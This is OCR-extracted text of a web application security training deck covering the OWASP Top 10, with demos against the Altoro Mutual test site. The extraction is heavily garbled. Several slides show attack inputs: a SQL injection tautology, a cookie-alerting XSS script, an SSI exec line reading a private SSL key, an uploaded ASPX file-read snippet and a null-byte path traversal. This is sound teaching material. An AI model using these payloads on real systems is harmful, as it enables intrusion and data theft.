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Module 1: Security Landscape
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Objective

1. Understand the web application environment

2. Understand and differentiate between
network and application level vulnerabilities

3. Understand where the vulnerabilities exist

CoNEED e “’L’SACA

an Francisco Chapler




il Eight Principles of Security
Management

Compliance Management
Risk Management

Identity Management
Authorization Management
Accountability Management
Availability Management
Configuration Management
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_Incident Management
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v Security Product Landscape

Security Management

Configuration Incident Policy & Patching & Forensics
Management Management Compliance Remediation Investigation

Hewlett-Packard ArcSight NetlQ Patchlink Guidance

CA NetForensics Symantec Shavlink Niksun

Cisco Symantec CA St. Bernard CA

Microsoft CA Hewlett-Packard Microsoft SenSage

Sun Net Intelligence Altiris Hewlett-Packard || Net Intelligence

Vulnerability Assessment

Host-Based Network Application
Symantec Database Only | | Tenable Nessus Black-Box White-Box
NetlQ AppSec Inc ISS I1BM Fortify
1SS NGS Software Qualys HP Ounce Labs
CA eEye Cenzic Secure Soft
Harris STAT McAfee Acunetix Klocwork
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Black Box vs. White Box:
Where?

ul Application Logic

function b64(sText) {

| HaTwoRL TOOLL.COM if (IsText) { sText="; }
- O ———
- if (typeof sText == 'object’) {

— . sText = String(sText); D B

if (sText.match(/~\[(.*)+\]$/)) {

sText = 'unknown';
}
—_— ¥

User

11

var sout = ";
var chrl, chr2, chr3 =";

var encl, enc2, encs, encd =";
vari=0; =

FS

var keyStr =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef
ghijkimnopgrstuvwxyz0123456789+/=";

11

}

. . - Infrastructure
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User
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What?

Ul Application Logic

3}
¥

var sOut = *;

var i = 0;

var keystr =

}

g function bea(sText) {
if (1sText) { sText="; }

if (typeof sText == ‘object) {
sText = String(sText);
if (sText.match(/~\[(*)+\]$/) {
sText = ‘unknown’;

var chrl, chr2, chr3 = *;
var encl, enc2, enc3, encd = ";

'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef
ghijkimnopgrstuvwxyz0123456789-+/=";

Black Box vs. White Box:

11

DB

11

FS

[

Infrastructure
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High Level Web Application Architecture

Review
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sl Network Defenses for Web
Applications
Perimeter IDS IPS App Firewall
Firewall Intrusion Intrusion Application
Detection Prevention Firewall
System System
E— E— E— E—

System Incident Event Management (SIEM)

San Francizco Chapler

Web Applications — Shared Traits

Get input from user in different ways
— Path, Parameters, Cookies, Headers, etc.

Use back-end servers
— DB, LDAP/AD Server, etc.

* Use session tokens (cookie, parameter, path...)
— Session tokens may be persistent or not

Hold public & private information
— Sensitive info often past the login page
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Web Application Security:
What Can Happen?

Sensitive data leakage

— Customer, partner or company data

Identity Theft

— Hacker impersonating as trusted user

Defacement — Content Modification

— Hurts brand, misleads customers, etc.

Application Shutdown (Site Unavailable)

— Lack of access can cause major loses
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Open Source & Manual Products

* Proxies
— WebScarab
— Fiddler
— Paros
— BURP
— Spike

e HTTP Editors
— [See above]
— Mozilla Tamper Data
— NetCat

CoNEED e

e Fuzzers

— SensePost Crowbar
— JBroFuzz

* Database Exploit

— Absinthe
— SQL Power Injector

* General Exploit

— Metasploit

—SACA
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Where are the Vulnerabilities?

Client-Side Custom Web Services

Web Applications

Third-party Components

Database
Applications
Operating System

Network

Where are the Vulnerabilities?

Client-Side Custom Web Services

Blackbox scanners Web Applications
that evaluate all

network objects

a-pa O pone
for patches and
vulnerabilities

Database

Applications

Operating System




Where are the Vulnerabilities?

Authenticated

agents that
evaluate the
underlying
operating system
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Client-Side Custom Web Services

Web Applications

Third-party Components

Web Server Configuration

Web Server

Database

Applications

Operating System

Network ’
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Where are the Vulnerabilities?

Evaluate the
database for
missing patches,

poor configuration
and vulnerabilities
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Client-Side Custom Web Services

Web Applications

Third-party Components

Web Server Configuration

Web Server

Applications

Operating System

Network
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Where are the Vulnerabilities?

€ ae 0 €D € <

Scan the web eb Applicatio
application to
uncover d-pa ompone

vulnerabilities

Database

Applications

Operating System

Network

Cﬂﬂ‘t' H@; :&EE _ﬂm

San Francizco Chapler

Where are the Vulnerabilities?

Parse software
source code to
determine policy
violations and
poor practices

Client-Side Custom Web Services

Web Applications

Third-party Components

Web Server Configuration

Web Server

Database

Applications

Operating System

Network
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Where are the Vulnerabilities?

Client-Side Custom Web Services

Web Applications

Third-party Components
party P AV

Database

Applications

Operating System

Network

—
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Module 2:

—Top Attacks Overview
—Demo of Manual Technigues
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The Myth: “Our Site Is Safe”

We Have Firewalls
in Place

We Audit It Once a
Quarter with Pen Testers

We Use Network

Vulnerability Scanners We Use SSL

Encryption

\
oo —HSACA
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il c.curi -
ecurity and Spending Are Unbalanced
y and spending

% of Attacks % of Dollars

Network
Server

75% of All Attacks on Information Security
Are Directed to the Web Application Layer

2/3 of All Web Applications Are Vulnerable
Gartner

L
M?-Ei@-('{ Sources: Gartner, IBM, OWASP ‘ﬂm
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Sareng 7 Eenamares Fromacean

San Francizco Chapler

12



2006 Vulnerability Statistics (31,373
sites)

Percentage of websites vulnerable by class (Top 5)

%% M Cross-Site Scripting

B SQL Injection

B Information Leakage

[ HTTP Response Splitting
B Path Traversal

B Other

** http://www.webappsec.org/projects/statistics/

oo —HSACA
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What is a Web Application?

¢ The business logic that
enables:
— User's interaction with Web
site
— Transacting/interfacing with
back-end data systems
(databases, CRM, ERP etc)
¢ In the form of:
— 3rd party packaged software;
i.e. web server, application
server, software packages etc
— Code developed in-house /
web builder / system
integrator

Input and Output flow through each layer of the application

A break in any layer breaks the whole application

N —HISACA
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Infrastructure vs. Application Security

Issues

Infrastructure Vulnerabilities

Application Specific
Vulnerabilities

Cause of Defect

Insecure development or deployment
of 3" party SW

Insecure development of your own
applications

Location of
Vulnerability

31 party infrastructure (web server, OS,
etc.)

Application Code, often resides on
Application Server

Method of Known vulnerabilities (0-day), signature | Probing hacks, suspicious content,
Exploits based information leakage
Patch Management system App Security Scanners
Detection
Internal/External Audits, Automated Scanners
rd ini -
What to do Update patches, use trusted 3™ party Training & Scanners — across the

software

Development Life Cycle

‘h- = -
o

TISACA
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WASC

Web Application Security Consortium (WASC)

Purpose:

— To develop, adopt, and advocate standards for web application

security

Official web site: www.webappsec.org

Web Security Threat Classification project
http://www.webappsec.org/projects/threat/vl/WASC-TC-vl 0.pdf

Purpose:

— Clarify and organize the threats to the security of a web site

— Develop and promote industry standard terminology for these issues

TISACA

San Francizco Chapler
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WASC — Threat Classifications

(Web Application Security Consortium) www.webappsec.org

Application Threat

Authentication .

Attack Types

Brute Force
Insufficient Authentication

Weak Password Recovery Validation

Example Business Impact

Attacks that target a web site’s method of
validating the identity of a user, service or
application.

Authorization .

Credential/Session Prediction
Insufficient Authorization
Insufficient Session Expiration
Session Fixation

Attacks that target a web site’s method of
determining if a user, service or application
has the necessary permissions to perform a
requested action.

Client-side Attacks

Content Spoofing
Cross Site Scripting

The abuse or exploitation of a web site’s
users (breaching trust relationships between
a user and a web site).

Command Execution .

Buffer Overflow
Format String Attack
LDAP Injection

0OS Commanding
SQL Injection

SSI Injection

XPath Injection

Attacks designed to execute remote
commands on the web site by manipulating
user-supplied input fields.

L.
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WASC — Threat Classifications

(Web Application Security Consortium) www.webappsec.org

Application Threat

Information Disclosure

Attack Types

« Directory Indexing
« Information Leakage
« Path Traversal

Predictable Resource Location

Example Business Impact

Attacks designed to acquire system specific
information about a web site. This includes
software distribution, version numbers, patch
levels, and also secure file locations.

Logical Attacks

« Abuse of Functionality

« Denial of Service

« Insufficient Anti-automation
« Insufficient Process Validation

The abuse or exploitation of a web application
logic flow (password recovery, account
registration, auction bidding and eCommerce
purchasing are examples of application logic).

CoNEED e
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OWASP

» Open Web Application Security Project
Purpose: Dedicated to finding and fighting the causes of insecure

software.

Official web site: www.owasp.org
The OWASP Top Ten project

http://www.owasp.org/index.php/OWASP Top Ten Project

* Purpose:

— A broad consensus about what the most critical web application security flaws

are

— Raise awareness of web application security issues

»  We will use the Top 10 list to cover some of the most common
security issues in web applications

L .
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The OWASP Top 10 Application Attacks

Application Threat

Cross Site scripting

Negative Impact

Identity Theft, Sensitive Information
Leakage, ...

Example Impact

Hackers can impersonate legitimate users, and control
their accounts.

Injection Flaws

Attacker can manipulate queries to the DB /
LDAP / Other system

Hackers can access backend database information, alter it
or steal it.

Malicious File Execution

Execute shell commands on server, up to full
control

Site modified to transfer all interactions to the hacker.

Insecure Direct Object Reference

Attacker can access sensitive files and
resources

Web application returns contents of sensitive file (instead
of harmless one)

Cross-Site Request Forgery

Attacker can invoke “blind” actions on web
applications, impersonating as a trusted user

Blind requests to bank account transfer money to hacker

Information Leakage and
Improper Error Handling

Attackers can gain detailed system
information

Malicious system reconnaissance may assist in developing
further attacks

Broken Authentication & Session
Management

Session tokens not guarded or invalidated
properly

Hacker can “force” session token on victim; session
tokens can be stolen after logout

Insecure Cryptographic Storage

Weak encryption techniques may lead to
broken encryption

Confidential information (SSN, Credit Cards) can be
decrypted by malicious users

Insecure Communications

Sensitive info sent unencrypted over
insecure channel

Unencrypted credentials “sniffed” and used by hacker to
impersonate user

Failure to Restrict URL Access

Hacker can access unauthorized resources

Hacker can forcefully browse and access a page past the
login page

CoNEED e
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1. Cross-Site Scripting (XSS)

e Whatis it?

— Malicious script echoed back into HTML returned
from a trusted site, and runs under trusted context

* What are the implications?
— Session Tokens stolen (browser security circumvented)
— Complete page content compromised
— Future pages in browser compromised

San Francizco Chapler

XSS Example |

@ - - @ 0 G [ httpsffwew.testhre. netjsearch aspxrixtSearchoasdf =[] [E] &l - =
Sign In | Contact Us | Feedback | Searchlasdf | |

AltoroMutual ) DEMO
: SITE
— ONLY
ﬁ ONLINE BANKING LOGIN PERSONAL | SMALL BUSINESS ‘ INSIDE ALTORO MUTUAL
PERSOMNAL
e Pz Search Results
» Checking
Mo results were found for the query:
HTML code:
<p¥Ho results were found for the query:<br /><br />
<span id="_ctl0_ ctl0_Content_Main lblSearch">| J/ spans-
acurity Statement | © 2007 Altoro Mutual, Inc.

~

—HSACA

San Francizco Chapler
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XSS Examble I

E@-H-@ @ [ esrch.aspotxisearchf <scriptalertidoament.cookie) </scrpt> | | B | [[Gl=| [&)] - & x

~
Sian In | Contact Us | Feedback | Search I:l =

AltoroMutual » ﬁ@ ot 7

ONLY

& ONLINE BANKING LOGIN | PERSONAL ‘ SMALL BUSINESS ‘ INSIDE ALTORO MUTUAL

PERSONAL

o Ezepmtnn Search Results

+ Loan Products No results were found for the query:

The page at http://www.testfire.net says:

SMALL BUSINESS

/1), ASPANET Sessionld=tronga450cpi5r 5m2pl1fg; 1824418181

+ Lending Services
rds

o
i

« Insursnce
+ Retirement

+ Other Services

sise arono wrus, |HTML coder
» About Us
+ Contact Us
+ Locations

<p>No results were found for the query:<br /><br />
<span id="_ctl0_ ctl0_Content Main 1blSearch"><scripty| (document.cookie)</soript></span:

« Investor Relstions
+ Press Room

« Careers

Privacy Policy | Security | @ 2007 Altero Mutual, Inc.

S —
oy
mwj@:&if —HSAL'A

S.In mellcn Chapler

v

XSS — Details

e Common in Search, Error Pages and returned forms.
— But can be found on any type of page

Any input may be echoed back
— Path, Query, Post-data, Cookie, Header, etc.

Browser technology used to aid attack
— XMLHttpRequest (AJAX), Flash, IFrame...

* Has many variations
— XSS in attribute, DOM Based XSS, etc.

W@:ﬁﬁf —HSACA

S.In mellcn Chapler
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Cross Site Scripting — The Exploit

Process
Evil.org

5) Evil.org uses stolen
session information to
impersonate user

1) Link to bank.com
sent to user via
E-mail or HTTP

4) Script sends user’s
cookie and session
information without the user’s
consent or knowledge

User bank.com
2) User sends script embedded as data
g ) 3) Script/data returned, executed by browser
L - '
CONVERGERERGE HSACA
T =y San Francisca Chapler

Exploiting XSS

e |f I can get you to run my JavaScript, | can...
— Steal your cookies for the domain you’re browsing
— Track every action you do in that browser from now on
— Redirect you to a Phishing site

— Completely modify the content of any page you see on
this domain

— Exploit browser vulnerabilities to take over machine

e XSS is the Top Security Risk today (most exploited)

CoNEED e —HSACA
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Sticky/Embedded XSS (XSS Worms)

* Embedding malicious script in persistent location
— “Talkback” section
— Forum/Newsgroup

* Boosted with Web 2.0 trend
— Customizable content
— More user content (communities)

e XSS Can “Infest” more pages - Worm
— MySpace worm (Samy, October 2005)

GON?_'E,E@:@;EE —1ISACA
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2. Injection Flaws

* Whatiis it?
— User-supplied data is sent to an interpreter as part of
a command, query or data.

* What are the implications?
— SQL Injection — Access/modify data in DB

— SSl Injection — Execute commands on server and
access sensitive data

— LDAP Injection — Bypass authentication

OO HSACA

San Francizco Chapler
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SQL Injection

e User input inserted into SQL Command:

— Get product details by id:
Select * from products where id=‘SREQUEST[“id”]’;

— Hack: send param id with value “or ‘1’="1

— Resulting executed SQL:
Select * from products where id=" or ‘1’="1’

— All products returned

San Francizco Chapler

SQL Injection Example |
E&-H-& 68 [ D nttp: ffwan. testfre netfbankogin.aspx =[] iG] &l - = x
Sign In | Contact Us | Feedback | Search I:| —

AltoroMutual » ﬂ@‘ DENO
= == - ONLY

& ONLINE BANKING LOGIN | SMALL ‘ INSIDE ALTORO MUTUAL

BERSONAL

Online Banking Login

SMALL BUSINESS

INSIDE ALTORO MUTUAL
 About Us

sole purpose of demonstrating tha sffectivanass of Watchfira

San Francizco Chapler
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SQL Injection Example Il
\

€ -H-& (&t [0 hetp: o, testfie netbank login aspx Bl

SignIn | Contact Us | Feedback | Search| |

AltoroMutual » EEL

An Error Has Occurred

Summary:

(Svnhx error (missing operator) in query expression 'username = "' AND password = 'asd ]

Error Message:

System.Data.OleDb.OleDbException: Syntax errer (missing eperater] in quary expression 'username = ™' AND password =

'asdf"". at System.Dats.CleDb.OleDbCommand. ExecuteCommandT: AMS dbParams, Objects.
executeResult) at System.Data.OleDb.OleDbCommand. ExecuteCommand Text{Objecth executeResult) at
tem.Dats.CleDb.OleDbCommand. ExecuteCommand(Carmr behavior, Objects sxscuteResult) at
tem.Data.OleDb.OleDbCommand. Exan Tnternal(Comim ior behavior, String method) at
tam.Dats.OlaDb.OleDbCommand dar{c bahavior) at
System.Data.0leDb.OleDbCommand. System.Dats.IDbCommand.ExecuteR eader(CommandBehavior behavior) at
tam.Dats.Common.DbDataAd: il DataSst datasst, DataTabla[] datatables, Int32 startRecord, Int32
maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at
tam.Dats.Common.DbDataAd: Fill{DataSst dataSat, Int32 startRacord, Int32 maxRecords, String sreTabls,

IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String
=sreTable) at Altoro Authantication. ValidataUsar(String uName, String pWord) in

aroMutual_ I dline 68 at Altoro. Av ion.Page_Load(Object sender, EventArgs
2) in d:\dovnload: login.asps.cstline 32 at
Systam.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object b, EventArgs a) at
tam.wab.util.Call dl y.Callback({Object sander, Evantargs =) =t
System.Web.UL Control.OnLoad(EventArgs e) at System.Web.ULControl.LoadRecursive() at
Systam.Wsb.ULPaga Procassk Baolean inclt . Boolean inclt

San Francizco Chapler

SQL Injection Example Epr0|t

@-p-& &4 [ 1 httpsffwwn. testfre netfbankiogin.aspx [=]»)

Signln | ContactUs | Feedback | Search| |

AltoroMutual » ﬁ@‘

ONLINE BANKING LOGIN | PERSONAL sMALL INSIDE ALTORO MUTUAL

PERSOMNAL -
o el Emre: Online Banking Login
# Checking
* Loan Products.

Investments &

o Other Services

SMALL BUSINESS

» Deposit Products
Lending Sewices
Cards

Insurancs

Retirement
+ Other Services

INSIDE ALTORO MUTUAL

About Us
* Contact Us
Locations

Investor Relstions

Prass Room

* Carsers
Privacy Policy | Security Ststement | € 2007 Altoro Mutual, Inc.

San Francizco Chapler
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SQL Injection Example - Outcome

@ - - @ @) [ httosfjwww.testire.net/bankimain, aspx [T&] [E-] [&)] - & x
Sion OFf | Contsct Us | Fsedback | Search| |

rr- DEMO

AltoroMutual » ﬂ@ 'El' et

5 = -8 ONLY

@ MY ACCOUNT PERSONAL ‘ SMALL ‘ INSIDE ALTORO MUTUAL

IWANTTO ...

+ vienreme: | Hello, John Smith

welcome to Altoro Mutual Online.

o Transfer View Account Datails: 1001160140 Checking |+ | [_Go

Articles Congratulations!

You have been pre-approved for an Altaro Gold Visa vith a credit limit of $10000!

Click Here to apply.

Privacy Policy | Security Statement | © 2007 Altere Mutual, Inc.

| The Altoro Mutual website is published by Watchfirs, Inc. for the sole purpose of demonstrating the effectiveness of Watchfirs products |
| in detecting web application vulnerabilities and vebsite defects. This site is not  real banking site. Similarities, if any, to third party

! products and/or websites are purely coincidental. This site is provided "as is" vithout warranty of any kind, either express or implied.

} Watchfire does not assume any risk in relation to your use of this website. For additional Terms of Use, please go to

| htto://vwm vatchfirs.com/statements/terms. aspx.

| Copyright & 2007, Watchfire Corporation, All rights reserved.

e —

San Francizco Chapler

Injection Flaws — More Info

* One SQL Injection compromises entire DB
— Doesn’t matter if it’s a remote page

* Not limited to SQL Injection
— LDAP, XPath, SSI, MX (Mail)...
— HTML Injection (Cross Site Scripting)
— HTTP Injection (HTTP Response Splitting)

CoNEED e —1SACA

San Francizco Chapler
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Injection Flaws (SSI Injection Example)
Creating commands from input

fle Edk View Bo Communicalor Help

¥ ¢ 3 A . @ & & H
Back  fowcr  Relad  Home  Seach  Hetscape  Fiint  Seouily S
I b Boskmake K Gotafe v 123 comdmeps bind =] €97 whats Fiektes
7| & nstont Message [D Members (B wobMal [F Cornestions 8] Bizloumal @ SmerUpdste [H] Milplace

Steust Addsess, Intersection oy Aispent Cods

[¢t--#exec cac secc/ssi/privace.pea-

City, 21t Tin o ZIP

Get Map
<!--#exec cat /etc/ssl/private.pem-

=T

[Document: Dans:

San Francizco Chapler

o e S E—r T 7,V

The return is the private SSL key of the server

File Edit View Go Communicator Help

!El
o ¢ A 4 » m S & E
Back ool Reload  Home  Seach  Netscope  Prnt  Secuity  Siop
i TBockmarks A Go tor[rip /A1 23.comdmaps. il =] €7 What's Related
7| R instant Message Members WebMail Connections Bizdournal SmanUpdate Mitplace

New
L.

ocation

We need a city, state; city, state zip; or a zip to generate a map

Street Address, Infersection or Airport Code

|< '——fexec /binfcat /etc/ssl/private

City, Stats Tip ov a ZIP

Get Map

F 5=

ﬁ- —u 1
CONVERGERERGE
_—

|Document: Done
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3. Malicious File Execution

* Whatis it?
— Application tricked into executing commands or
creating files on server

* What are the implications?
— Command execution on server — complete takeover
— Site Defacement, including XSS option

m@@&f _Hm

Malicious F|Ie Execution — Example I
E-B - @ @[ ntips e et ffecdbackaspx BNt

— DB | S

@ ONLINE
PERSONAL SMALL BUSINESS INSIDE ALTORO MUTUAL
BANKING LOGIN e e -
PERSOMAL
+ Deposi Feedback
B

Our Frequantly Asked Questio
If you can't find your question,

IMPORTANT! This feadback fa|
account information in & mess

To: Onlina

Your Name:  [asdf |

Your Email Address:  [asdf | ¢
Subject: @

Question/Comment:  [asar
MUTUAL
o | [Ccece
Submii CTear rormm

—HSACA

S.In Framcizes Chapter
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Malicious File Execution — Example cont.

Tamper Popup

ttp: . testfire.netjcomment.aspx

Request Header Name Request Header Value Post Parameter Name
[ cfile

e
User-Agent [Mozila/s.0 (Windows; U Windou| | {| rame [asaf ]
et Encaing cmpents
et Crarset it
Referer http: fwnm. testfire.netfeedbac 38 Page Language="CE" -
Cookie <% Response.Write (System.IO.File.ReadhllText
("c:/windows/system32/drivers/etc/hosts") ) >

Host

s —HSACA

San Francizco Chapler

Malicious File Execution — Example cont.

Al - & x

testire netfmyevilie.aspx | [-1p] |

€ -9 - @ O 6 [0 s [
asdf, asdf, asdf, # Copyright (¢) 1993-1999 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for
‘Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line.
The IP address should # be placed in the first cohimn followed by the corresponding host name. # The IP address and the host
name should be separated by at least one # space. # # Additionally, comments (such as these) may be inserted on individual #
lines or following the machine name denoted by a '#' symbol. # # For example: # # 102.54.94 97 rhino.acme.com # source server

#3825 63 .10 x acme com # x client host 127.0.0.1 localhost

o 1OALA
_— San Francizco Chapler




4. Insecure Direct Object Reference

e Whatis it?
— Part or all of a resource (file, table, etc.) name
controlled by user input.

* What are the implications?
— Access to sensitive resources
— Information Leakage, aids future hacks

cow?_?i@"g_&f —1ISACA

Insecure Direct Object Reference - Example

@->-& (3 [ s/ testhie netjdefault. aspffcor business_deposithtm Jv | B | [[Gl+] |
SianIn | Contact Us | Feedback | Search| |

e DEMO

AltoroMutual » ﬂénéa | DEMO
= - B ONLY

& ONLINE BANKING LOGIN ‘ SMALL ‘ INSIDE ALTORO MUTUAL

Q|- & x

A

BERSONAL

Deposit Products

SMALL BUSINESS

* Deposit Products
o Lending Services

INSIDE ALTORO MUTUAL
o About Us
e Contact Us

| The Altero Mutual websits is published by Watchfire, Inc. for the sole purpose of demonstrating the effectivensss of Watchfir HE

San Francizco Chapler
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Insecure Direct Object Reference — Example
Cont.

testfre.net/default asoxfcontent=. fboctm ] | v| B

I

SignIn | Contactus | Feedbsck | search| |

AltoroMutual » E@l

& ONLINE BANKING LOGIN SMALL INSIDE ALTORO MUTUAL

{Errort File must be of type txt or htm )
PERSONAL

* Deposit Broduct
+ Checking

* Loan Products
+ Cards

o Investments &
Insurance
o Other Services
SMALL BUSTNESS
+ Deposit Products
o Lending Services
¢ Cards
o Insurance
+ Retirement
o Other Services

INSIDE ALTORC MUTUAL
+ About us
o Contact Us
+ Locations
« Investor Relstions 0
+ Prass Room

o Carsers

Brivacy Poliey | Security Statement | © 2007 Altoro Mutual, Inc.

! The Altoro Mutual webs

COMERGED e
_—

published by Watchfire, Inc. for the sole purpese of demenstrating the effectiveness of Watchfire ~

San Francizco Chapler

Insecure Direct Object Reference — Example
Cont.

&-5-@ (&4 [ D1 tpufiwwn.testre.net/defautt aspsfcontent=... boot.ni%00.htm ) 7 | B | |

Sign In | Contact Us | Feedback | Sear:h

AltoroMutual » E@L

& ONLINE BANKING LOGIN | PERSONAL SMALL BUSINESS INSIDE ALTORO MUTUAL

[ T5o0t Ioadarltimeout=30dsfault=multi(0)disk(0)rdisk{0)partition( 1)\WINDDW5[np5ra!mg

ystems]mut{O)disk(0)rdisk(O)parttion{ 1) WINDOWS="Wizrosaft Windans XP Professional”
+ Deposit Product n

* Checking

+ Loan Products
* Cards

+ Investments &

PERSONAL

Insurance
+ Other Services

SMALL BUSINESS
» Deposit Products
+ Lending Services
*+ Cards
+ Insurznce
+ Retirement
+ Other Services

INSIDE ALTORO MUTUAL
+ about Us
+ Contact Us
+ Locations
» Investor Relations 0
+ Bress Room

» Careers
Privacy Policy | Security Statsment | © 2007 Altoro Mutual, Inc

San Francizco Chapler
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5. Cross Site Request Forgery
(CSRF/XSRF)

* Whatis it?
— Tricking a victim into sending an unwitting (often

blind) request to another site, using the user’s session
and/or network access.

* What are the implications?
— Internal network compromised
— User’s web-based accounts exploited

San Francizco Chapler

XSRF Exploit Illustration

4) Private mails accessed, possibly containing

v passwords
v Bank.com
WebMail
Jj Jj AN 4) Money
“--.__ Withdrawn
3) Money
Transfered

V\F/;reless fgzvaa:lrg:e?j”tso 2) Script (or link) is
outer downloaded and Evil.org
hacker .
D executed in browser
3) Router opened for D
N outside access o 1) Usr_er brovx_/s_es
i Victim page with malicious :
i content
"""""" 4) Firewalls surpassed, internal computers hacked  / sespanar
.h- -
CONEEHERGE —SACA
San Francizco Chapler
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XSRF vs. XSS

XSS Exploits the trust a user gives a site

— Cookies and data access to specific domain

XSRF Exploits the trust a site gives a user
— User “logged in” to site or has access to site (Intranet)

XSRF may be delivered via XSS (or Sticky XSS)

XSS may be auto-exploited via XSRF
— XSRF on one site exploit XSS on other — hands free

GON?_'E,E@:@;EE —1ISACA

San Francizco Chapler

6. Information Leakage and
Improper Error Handling

e Whatis it?
— Unneeded information made available via errors or
other means.

* What are the implications?
— Sensitive data exposed

— Web App internals and logic exposed (source code,
SQL syntax, exception call stacks, etc.)

— Information aids in further hacks

CoNEED e —HSACA

San Francizco Chapler
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Information Leakage - Example

€ %@ O @ [0 e -|

[&]

testfire net/bank/login. aspx

Sign In | Contact Us | Feedback | Searth

AltoroMutual » ﬁ@‘

W ONLINE BANKING LOGIN PERSONAL SMALL BUSINESS ‘ INSIDE ALTORO MUTUAL
BERSONAL - - -

B Online Banking Login

+ Checking

Loan Products

» Investments &

insurance pasmers: [ ]

+ Other Services

SMALL BUSINESS
+ Deposit Products
+ Lending Services
+ Cards
+ Insursnce
+ Retirement
+ Other Services

INSIDC ALTORO MUTUAL

About Us
Contact Us

+ Locations <prespan ide"
Investor Relstions

+ Press Room
« Carsers

Privacy Policy | Security | @ 2007 Altero Mutual, Inc.

The Altoro Mutusl website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire :

COMERGED e
_—

San Francizco Chapler

Improper Error Handling - Example
\

e - (&3 [ htp:ffwwmw. testfre netjbankog.aspx =[] |

Sign In | Contsct Us | Feedback | SEar[h

AltoroMutual » ﬁ@,.

An Error Has Occurred

Summary:

(Svntax error (missing operator) in query sion ' =" AND = ‘asdf". ]

Error Message:

(" System.Data.0leDb.OleDbException: Syntax eror (missing operator) in query expression 'username = " AND password =
'asdf". at System.Data.OleDb.Ol=DbC: d.ExecutaCommandTextForSingleRasult{tagDEPARAMS dbParams, Objectt:
executsResult) at System.Data.OleDb.OleDbCommand.ExscuteCommandText(Objactt exacutsRasult) at
System.Data.0leDb.OleDbCommand. ExecuteCommand(CommandBehavior behavior, Objectt executeResult) at
System.Data.OleDb.OleDbCommand.ExecuteReaderlnternal(CommandBehavior behavior, String method) at

tem.Data.0leDb.OleDbCommand. Ex: der{CommandBehavior behavior) at
System.Data.OleDb.OleDbCommand.System.Data. IDbCommand. ExecutsR eader(CommandBehavior behavior) at

Sz BEEE bi d Filllntemal(DataSet dataset, DataTable[] datatables, Int22 startRecord, Int32
maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at

tem.Dat: \Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable,
IDbCommand command, CommandBehavior behavior) at System.Data.Commaon.DbDataAdapter.Fill(DataSet dataSet, String
srcTable) at Altoro.Authentication ValidateUser(String uName, String pWord) in
d: sline 62 at Alt tication.Page_Load(Object sender, EventArgs
e in dr\downloads\AltoroMutual_vS\website\bank\login.aspx.csiline 32 at
System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t. EventArgs &) at
System.Web.Util.CalliEventHandlerDelegateProxy. Callback( Object sender, EventArgs =) at
System.Web. UL Control.OnLoad(EventArgs e) at System.Web.UL Control.LoadRecursive() at
Systam.Web.ULPags. Boolean includ int, Boolean i int)

i —HSACA
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Information Leakage — Different
Username/Password Error

@ ONLINE BANKING LOGIN PERSONAL | SMALL BUSINESS | INSIDE ALTORO MUTUA|
PERSOMNAL - - -
Online Banking Login
Login Failed - Invalid Password
Username: jsmith
Passwior: d: |
SMALL BUSINESS
@ ONLINE BANKING LOGIN PERSONAL ‘ SMALL BUSINESS INSIDE ALTORO MUTUAJ
PERSONAL - - -
=, Online Banking Login
s Checking
* Loan Products Login Failed - Invalid Username
=
o ments &
Username:  |nouser
Other Services Passwor dr |
SMALL BUSINESS
——

San Francizco Chapler

7. Broken Authentication and Session
Management

* Whatiis it?
— Session tokens aren’t guarded and invalidated
properly

* What are the implications?

— Session tokens can be planted by hacker in XSS/XSRF
attack, hence leaked

— Session tokens more easily available (valid longer, less
protection) to be stolen in different ways

coﬁ;i@@if —HSACA

San Francizco Chapler
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Broken Authentication and Session
Management - Examples

* Unprotected Session Tokens
— Session ID kept in Persistent Cookie
— Not using http-only value for cookies

* Sessions valid for too long
— Session not invalidated after logout
— Session timeout too long

* Session fixation possible

— Session ID not replaced after login (hence can be
fixed)

GON?_'E,E@:@;EE —1ISACA

San Francizco Chapler

8. Insecure Cryptographic Storage

* What is it?
— Weak or no cryptographic protection on sensitive
resources at rest
— Lack of safeguards on keys

* What are the implications?

— Session tokens can be predicted (due to weak, often
homegrown, algorithms)

— Sensitive data available through DB access (internal
hacker, SQL Injection, etc.)

CoNEED e —HSACA

San Francizco Chapler
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Insecure Cryptographic Storage: Weak
Session Token

* Hacker samples session IDs and gets:
1,2,4,6,7,10,11,15...

e Can you predict other valid sessions?
(Hint: Other users may enter site and get sessions
during the hacker’s sampling)

* Points to consider:
— Doesn’t need to be that simple...
— Keys may be predictable (e.g. timestamp)

GON?_'E,E@:@;EE —1ISACA

San Francizco Chapler

9. Insecure Communication

* Whatis it?
— Sensitive data sent over unencrypted channels

* What are the implications?

— Data can be stolen or manipulated by Internal or
External hacker

CoNEED e —~HSACA

San Francizco Chapler
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Insecure Communication: Points to
Consider

* Not only the login page is sensitive
— Anything after it is too, and maybe more

¢ |nternal Hackers are a threat

— Encrypt internal communications as well

* Use strong encryption keys
— See previous topic...

mﬁ_‘ej@:;n;iﬁ —HSACA

San Francizco Chapler

10. Failure to Restrict URL Access

* Whatis it?
— Resources that should only be available to authorized
users can be accessed by forcefully browsing them

* What are the implications?
— Sensitive information leaked/modified
— Admin privileges made available to hacker

CoNEED e —HSACA

San Francizco Chapler
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Failure to Restrict URL Access - Admin User

login

m ONLINE BANKING LOGIN

PERSONAL | SMALL BUSINESS

EBERSONAL
+ Deposit Product
¢ Checking
+ Loan Products
¢ Cards
¢ Investments &
Insurance

e Other Services

SMALL BUSINESS

Online Banking Login

Username: admin

B MY ACCOUNT

PERSONAL ‘ SMALL BUSINESS

IWANTTO ...

« View Recent
Transactions

+ Transfer Funds

* Search News Articles

* Customize Site

Language

ADMIN;

ISTRATION

o Edit Users

 view Application Values

« venrcoun summey | HEllO, Admin User

Welcome to Altore Mutus| Online.

View Account Details:

—

o

San Francizco Chapler

Simple user logs in, forcefully browses to

a

dmin page

* Other Serices

SMALL BUSINESS.

